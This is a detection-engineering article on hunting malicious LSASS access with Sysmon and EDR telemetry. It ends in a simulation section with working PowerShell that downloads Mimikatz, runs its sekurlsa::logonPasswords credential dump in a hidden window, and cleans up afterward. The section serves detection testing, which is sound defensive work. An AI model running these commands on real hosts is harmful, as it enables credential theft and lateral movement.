Hunting Malicious LSASS Access in Windows Environments

Summary

The article outlines how adversaries extract credentials by accessing the LSASS process with tools like Mimikatz and Cobalt Strike. It covers the typical Windows API calls, DLLs, and access rights involved in LSASS memory dumping. The authors share refreshed detection queries for Sysmon and other EDR platforms, with an emphasis on strengthening credential-dumping detection coverage.

Investigation

The Splunk Threat Research Team emulated LSASS access using Atomic Red Team, Mimikatz, Invoke-Mimikatz, and Cobalt Strike. They captured Sysmon telemetry showing DLL loads (dbgcore.dll, dbghelp.dll, ntdll.dll) and characteristic GrantedAccess values. This dataset was then leveraged to tune detection queries that correlate CallTrace information with specific access rights.

Mitigation

Tune Sysmon or EDR policies to log ProcessAccess events against lsass.exe, applying filters on known DLLs and relevant access rights while whitelisting trusted system processes. Use the supplied queries to generate alerts on suspicious LSASS access patterns. Continuously review and refine these rules as new tools and techniques emerge.

Response

When a detection triggers, validate the originating process, associated user context, and the DLLs involved in LSASS access. Isolate the affected endpoint, capture memory for deeper forensic analysis, and assess evidence of credential theft. Examine the process tree to distinguish legitimate administrative utilities from activity indicative of an attacker.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.

• Attack Narrative & Commands:
  An attacker has gained local administrator rights on the victim host and wishes to harvest credentials for lateral movement. They copy the open‑source tool Mimikatz to the machine, elevate the process to DEBUG privilege, and invoke the sekurlsa::logonPasswords module, which reads LSASS memory via native API calls that traverse ntdll.dll. Sysmon logs this as a ProcessAccess event with several high‑privilege GrantedAccess flags (e.g., 0x0010, 0x1400, 0x1fffff). The attacker runs the tool from a hidden PowerShell session to avoid UI exposure.

  # 1. Drop Mimikatz binary to %TEMP%
  $mkPath = "$env:TEMP\mimikatz.exe"
  Invoke-WebRequest -Uri "https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0/mimikatz_trunk.zip" -OutFile "$env:TEMP\mk.zip"
  Expand-Archive -Path "$env:TEMP\mk.zip" -DestinationPath $env:TEMP -Force
  Move-Item -Path "$env:TEMP\mimikatz\x64\mimikatz.exe" -Destination $mkPath -Force
  
  # 2. Execute Mimikatz with credential‑dumping commands
  Start-Process -FilePath $mkPath -ArgumentList 'privilege::debug sekurlsa::logonPasswords exit' -WindowStyle Hidden -Wait

• Regression Test Script:

  # ----------------------------------------------------------------------
  # LSASS Credential Dumping Simulation – triggers Sigma rule #4e0789a0…
  # ----------------------------------------------------------------------
  # Drop Mimikatz (if not already present)
  $mkPath = "$env:TEMP\mimikatz.exe"
  if (-Not (Test-Path $mkPath)) {
      $zip = "$env:TEMP\mk.zip"
      Invoke-WebRequest -Uri "https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0/mimikatz_trunk.zip" -OutFile $zip
      Expand-Archive -Path $zip -DestinationPath $env:TEMP -Force
      Move-Item -Path "$env:TEMP\mimikatz\x64\mimikatz.exe" -Destination $mkPath -Force
      Remove-Item $zip -Force
  }
  
  # Run Mimikatz to dump LSASS credentials
  $args = 'privilege::debug sekurlsa::logonPasswords exit'
  Write-Host "[+] Executing Mimikatz for LSASS dump..."
  Start-Process -FilePath $mkPath -ArgumentList $args -WindowStyle Hidden -Wait
  Write-Host "[+] Mimikatz execution completed."
  # ----------------------------------------------------------------------

• Cleanup Commands:

  # Remove Mimikatz binary and any residual files
  $mkPath = "$env:TEMP\mimikatz.exe"
  if (Test-Path $mkPath) { Remove-Item $mkPath -Force }
  $folder = "$env:TEMP\mimikatz"
  if (Test-Path $folder) { Remove-Item $folder -Recurse -Force }
  Write-Host "Cleanup completed."